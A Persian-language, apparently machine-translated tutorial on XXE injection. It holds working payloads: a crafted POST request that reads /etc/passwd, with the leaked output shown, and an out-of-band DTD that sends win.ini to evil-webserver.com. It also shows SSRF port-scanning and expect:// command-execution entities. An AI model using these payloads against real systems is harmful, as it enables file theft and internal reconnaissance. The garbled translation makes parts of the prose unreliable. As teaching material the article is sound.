تزریق XXE در چندین سال اخیر در فهرست OWASP جزو 10 مورد برتر قرار داشته است. تزریق XXE به برنامه های وب محدود نمی شود؛ در هر نقطه یک Parser XML وجود دارد (وب، میزبان، نرم افزار)، پتانسیل XXE وجود دارد. جستجوی Exploits XXE درگوگل چندین نوشته از حملات XXE موفق را در برابر اهداف خوب دفاع می کند.
با وجود این، به نظر میرسد XXE در کلاسهای امنیتی وب به ندرت آموزش داده می شود و به نفع حملات ساده تر مانند CSRF و XSS است. از آموزش های INFOSEC که من انجام داده ام، تنها یک دوره حتی به XXE اشاره نکرده است .
برخی از راه های استفاده از آسیب پذیری XXE، و دو حمله واقعی XXE ارسال شده توسط SRT (با داده های رد شده برای محافظت از هویت مشتری و SRT) را پوشش می دهد.
بهترین قسمت در مورد XXE این است که این قابلیت کاملا صحیح زبان XML است. جادو سیاه و سفید با این حمله، به سادگی یک ویژگی سوء استفاده است که به طور پیش فرض به طور پیش فرض فعال است. این ویژگی موجودیت خارجی است.
برای درک ENTITY ها، ابتدا باید به فایلهای نوع Document Definition (DTD) نگاه کنیم. فایلهای DTD یک نوع خاص از فایل XML هستند که حاوی اطلاعاتی درباره فرمت یا ساختار XML هستند. آنها برای ایجاد یکپارچگی در فایل های مختلف، جداگانه، XML استفاده می شود. این فایلهای DTD میتوانند حاوی یک عنصر به نام ENTITY باشند. برای مثال یک فایل dtd زیر را ببینید:
<!DOCTYPE STRUCTURE [
<!ELEMENT SPECIFICATIONS (#PCDATA)>
<!ENTITY VERSION “1.1”>
<!ENTITY file SYSTEM “file:///c:/server_files/application.conf” >
]>
ما نمی خواهیم در مورد نحو فایل های .dtd تقسیم کنیم، فقط درک کنیم که هر ارجاع XML به این فایل .dtd باید از ساختار آن (منبع) پیروی کند.
تگ های ENTITY در داخل به سادگی یک میانبر برای یک کاراکتر خاص است که می تواند توسط فایل XML فراخوانی شود (منبع). توجه داشته باشید که آخرین تگ ENTITY در واقع محتویات یک فایل محلی را از طریق کلمه کلیدی SYSTEM باز می کند.
فایل dtd بالا ممکن است به صورت زیر استفاده شود:
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE foo SYSTEM “http://validserver.com/formatting.dtd”>
<specifications>&file;</specifications>
فایلformatting.dtd با استفاده از برچسب های DOCTYPE نامگذاری می شود و فایل XML می تواند ENTITY ها و ساختار درون آن را ارزیابی کند.
ENTITY
ها می توانند بدون فرمت یک فایل کامل .dtd استفاده شوند. با فراخوانی DOCTYPE و استفاده از براکت مربع []، شما می توانید برچسب های ENTITY را برای استفاده در تنها آن فایل XML مرجع کنید. در پایین، فایل application.conf برای استفاده در برچسب <configuration> </ configuration>، بدون فایل کامل dtd برای میزبانی آن ارجاع می شود:
<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<!DOCTYPE example [
<!ELEMENT example ANY >
<!ENTITY file SYSTEM “file:///c:/server_files/application.conf” >
]>
<configuration>&file;</configuration>
بنابراین در خلاصه ای گسترده:
فایل های DTD می توانند به یک فایل XML خارجی یا داخلی باشند
ENTITY ها در فایل های DTD وجود دارد
ENTITY ها می توانند فایل سیستم محلی را فراخوانی کنند
هنگامی که داده ها در یک درخواست HTTP به سرور منتقل می شود، احتمال سوء استفاده از کاربر را باز می کند. XML متفاوت نیست توسعه دهندگان وب یا اعتماد خود را به مشتری می کنند تا کد را اصلاح نکنند و یا (راه حل بهتر) کنترل های لازم را برای جلوگیری از تغییرات مخرب از کار انجام می دهند. صرف نظر از قصد توسعه دهنده وب، اشتباه رخ می دهد و تزریق اغلب با موفقیت بر روی سرور انجام می شود. در اینجا یک نمونه است، جایی که داده های یک فرم در XML پیچیده شده و برای پردازش فرستاده می شوند.
درخواست POST آسیبپذیر را با پروکسی وب (Burpsuite، Zap و غیره)
برچسب ENTITY تزریق شده و & xxe؛ مرجع متغیر
اطمینان حاصل کنید که & xxe؛ مرجع با داده هایی است که بازگشت و نمایش داده می شود
درخواست POST متوقف شده را آزاد کنید
این به درخواست POST ساخته شده زیر (محتوای تزریقی قرمز) منجر می شود:
POST /notes/savenote HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml;charset=UTF-8
Host: myserver.com
<?xml version=”1.0″ ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>
<note>
<to>Alice</to>
<from>Bob</from>
<header>Sync Meeting</header>
<time>1200</time>
<body>Meeting time changed &xxe;</body>
</note>
سرور، فرض بر این است که داده ها به شکل معتبر وارد شده اند، قبل از ذخیره آن در backend، این داده های XML را تجزیه می کند و داده های تجزیه شده را همراه با داده های معتبر باز می گرداند. در این مورد محتویات / etc / passwd نمایش داده می شود.
HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Server: Microsoft-IIS/7.5
Date: Sat, 19 Apr 2019 13:08:49 GMT
Connection: close
Content-Length: 1039
Note saved! From Bob to Alice about “Sync Meeting” at 1200: Meeting time has changed
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
..snip…
اغلب زمان هایی که XML به سرور منتقل می شود نمایش داده نمی شود و در چنین راهی مطلوب نیست. در مواردی که XML تزریقی است، اما در پاسخ HTTP به مشتری پاسخ نمی دهد، ما به فایل های خارجی .dtd اشاره کردیم که قبلا ذکر شد. منابع DOCTYPE به فایل های خارجی .dtd اجازه می دهد تا ما این حمله را به طور کامل خارج از باند انجام دهیم.ما مثال قبلی را بازنویسی خواهیم کرد. ما همچنین وانمود می کنیم که یک سرور ویندوز برای انواع است. در مثال قبلی، اشاره گر ENTITY به فایل در متغیر xxe ذخیره شد که در فرم ارجاع می شود. در این مثال، ENTITY مرجع برای سرور خارجی ما است.
https://evil-webserver.com
POST /notes/savenote HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml;charset=UTF-8.
Host: myserver.com
<?xml version=”1.0″ ?>
<!DOCTYPE hack [
<!ELEMENT x ANY >
<!ENTITY % alpha SYSTEM “https://evil-webserver.com/payload.dtd”>
%alpha;
%bravo;
]>
<x>&charlie;</x>
<note>
<to>Alice</to>
<from>Bob</from>
<header>Sync Meeting</header>
<time>1200</time>
<body>Meeting time changed</body>
</note>
فایل payload.dtd خارجی شامل موارد زیر است:
<?xml version=”1.0″ encoding=”utf-8″ ?>
<!ENTITY % data SYSTEM “file:///c:/windows/win.ini”>
<!ENTITY % bravo “<!ENTITY % charlie SYSTEM
‘https://evil-webserver.com/?%data;’>”>
توجه داشته باشید که فایل: /// c: /windows/win.ini در فایل .dtd قرار دارد، نه در داخل کد XXE تزریق شده. این یک حرکت پنهانی است که به ما اجازه می دهد تا کدام فایل که در حال تلاش برای استخراج لاگ های مربوط به دسترسی به سرور است را پنهان کنیم .
بنابراین، به طور کلی، این کد در مراحل زیر اجرا می شود:
مشتری درخواست POST را با کد XML تزریقی ارسال می کند
سرور، از طریق تجزیه کننده XML، XML را از بالا به پایین تجزیه می کند و به ENTITY تزریق می شود
سرور از payload.dtd از https://evil-webserver.com درخواست می کندhttps://evil-webserver.com با payload.dtd پاسخ می دهد
کد داخل payload.dtd توسط تجزیه کننده XML پردازش می شود که محتویات win.ini را خوانده و آن را به عنوان یک پارامتر در یک درخواست HTTP GET به https://evil-webserver.com ارسال می کند.
مثلا یک فرمان که یکبار دریافت کردیم (اطلاعات حساس برای مشتری و محرمانه محقق). یکی از اعضای SRT یک سرویس وب را ارائه داد که روش های متفاوتی SOAP API را ارائه می داد. SOAP (Simple Object Access Protocol) یک ساختار ارتباطی است که اجازه می دهد تا برنامه های متعدد / عناصر مختلف برای برقراری ارتباط با یکدیگر هستند . مهمتر از همه برای ما، آن نیز ساختاری مثل XML دارد و آن را احتمالا آسیب پذیر به XXE می نامند
در این مثال، روش های مختلف API دارای بخش <XMLData> بود که می توانست شامل برچسب های ENTITY تزریق شود. بنابراین، صدور درخواست زیر POST به نقطه انتهایی ConductOrders.asmx یک درخواست برای سرور وب مهاجم ایجاد می کند:
در نتیجه، سرور محتویات DTD خارجی http: //evil-webserver/data.xml را بارگیری می کند
این کد XML به Parser XML دستور می دهد که محتویات فایل c: \ windows \ win.ini محلی را در درخواست به سرور مهاجم ارسال کند، همه این کارها با افزودن متغیر چارلی به پایان درخواست، ساختن آن در لاگ های سرور حمله کننده قابل مشاهده است
و درست مانند آن، هر فایل محلی قابل خواندن توسط سرور وب او بود که سرقت کرد.
توجه: مجوزها در این حمله اهمیت دارند. اگر وب سرور (یا کاربر www-data) مجوزها را نداشته باشد، این فایل را نخواهد داد. به همین دلیل ما به جای / etc / shadow در این اثبات مفهوم (PoC) از / etc / passwd استفاده می کنیم.
مانند بسیاری از اکسپلویت ها، زمانی که شما شروع به اتصال آن با آسیب پذیری های دیگر می کنید، XXE جالب تر می شود. XXE برای به دست آوردن افشای فایل محلی (LFD) به عنوان PoC مفید است، اما یک مهاجم واقعی ممکن است بخواهد با XXE کار بیشتری انجام دهد، نه تنها فایلهای محلی را بخواند (به ویژه اینکه این حمله توسط مجوزهای وب سرور محدود شده است). از آنجا که XXE دستور دادن سرور به انجام چیزی از طرف آن است، مهاجم می تواند از آن برای نشان دادن میزبان های داخلی و / یا پورت های داخلی با استفاده از تجزیه کننده XML برای انجام درخواست جعل سرور (SSRF) استفاده کند.
توجه داشته باشید که خط دوم XML، در قرمز مشخص شده است،
<! DOCTYPE dtd SYSTEM "https://127.0.0.1:445">
به جای اینکه یک DTD خارجی یا فایل محلی مانند نمونه های قبلی را فراخوانی کنید، این محقق دستور می دهد که سرور آن را به localhost (127.0.0.1) در یک پورت مشخص شده متصل کند. اگر پورت باز باشد، سرور به سرعت پاسخ می دهد. اگر پورت بسته باشد، سرور با پیام های ICMP Port Unreachable پاسخ خواهد داد، که زمانیکه سوکت تلاش می کند تا مجددا به توافق رسیدگی کند. در این مثال، زمان پاسخ مختلف بین پورت های معتبر و پورت های نامعتبر به اندازه کافی برای پرده برداری از پورت های میزبان داخلی بود. مقیاس دادن این حمله مشابه به نفع نفوذگر موجب شده است که موارد زیر را داشته باشد:
شما می توانید ببینید که شماره های پورت 21، 22، 23، و 443 زمان پاسخ به طور قابل توجهی طولانی تر را نشان می دهد، و پیشنهاد یک پورت داخلی نامعتبر است. از این حمله، SRT نتیجه گرفت که پورت 80، 445 و 8443 در دسترس هستند. از اینها، پورت 445 از اهمیت ویژه ای برخوردار بود، زیرا به طور آشکارا به اینترنت دسترسی نداشت و سطح حمله منحصر به فردی را ارائه می داد. اگر بیشتر مورد استفاده قرار گیرد،ر SSRF میتواند برای میزبانهای داخلی تست کند، و روش ارائه نقشه های نقطه انتهایی خصوصی اینترانت را فراهم می کند که توسط وب سرور قابل دسترسی است.
تزریق XXE می تواند به همان اندازه ساده یا پیچیده باشد که برنامه اجازه می دهد. گوگل به سرعت می تواند نمونه هایی از بردارهای پیشرفته XXE پیشرفته را نشان دهد. حمله میلیاردها XXE به انکار سرویس (DoS) تبدیل می شود . بدتر از همه، داشتن ماژول PHP Expect می تواند اشیاء کد را از حمله XXEداشته باشد.
(<!ENTITY rce SYSTEM “expect://ifconfig” >).
دفاع در برابر XXE وجود دارد ، اما در نهایت این یک آسیب پذیری در برابر XML Parser با دقت پیکربندی شده است. XXE یک اشتباه در XML نیست که می توان آن را پچ کرد، بلکه یک سوءاستفاده در برابر برنامه ای است که در آن غیرفعال شده است. در نهایت، این حمله عمدتا وابسته به خطای انسانی است و بدین معناست که اینجاست که بمانیم.
برای مشاهده سایر مطالب با کانال تلگرامی ما مراجعه کنید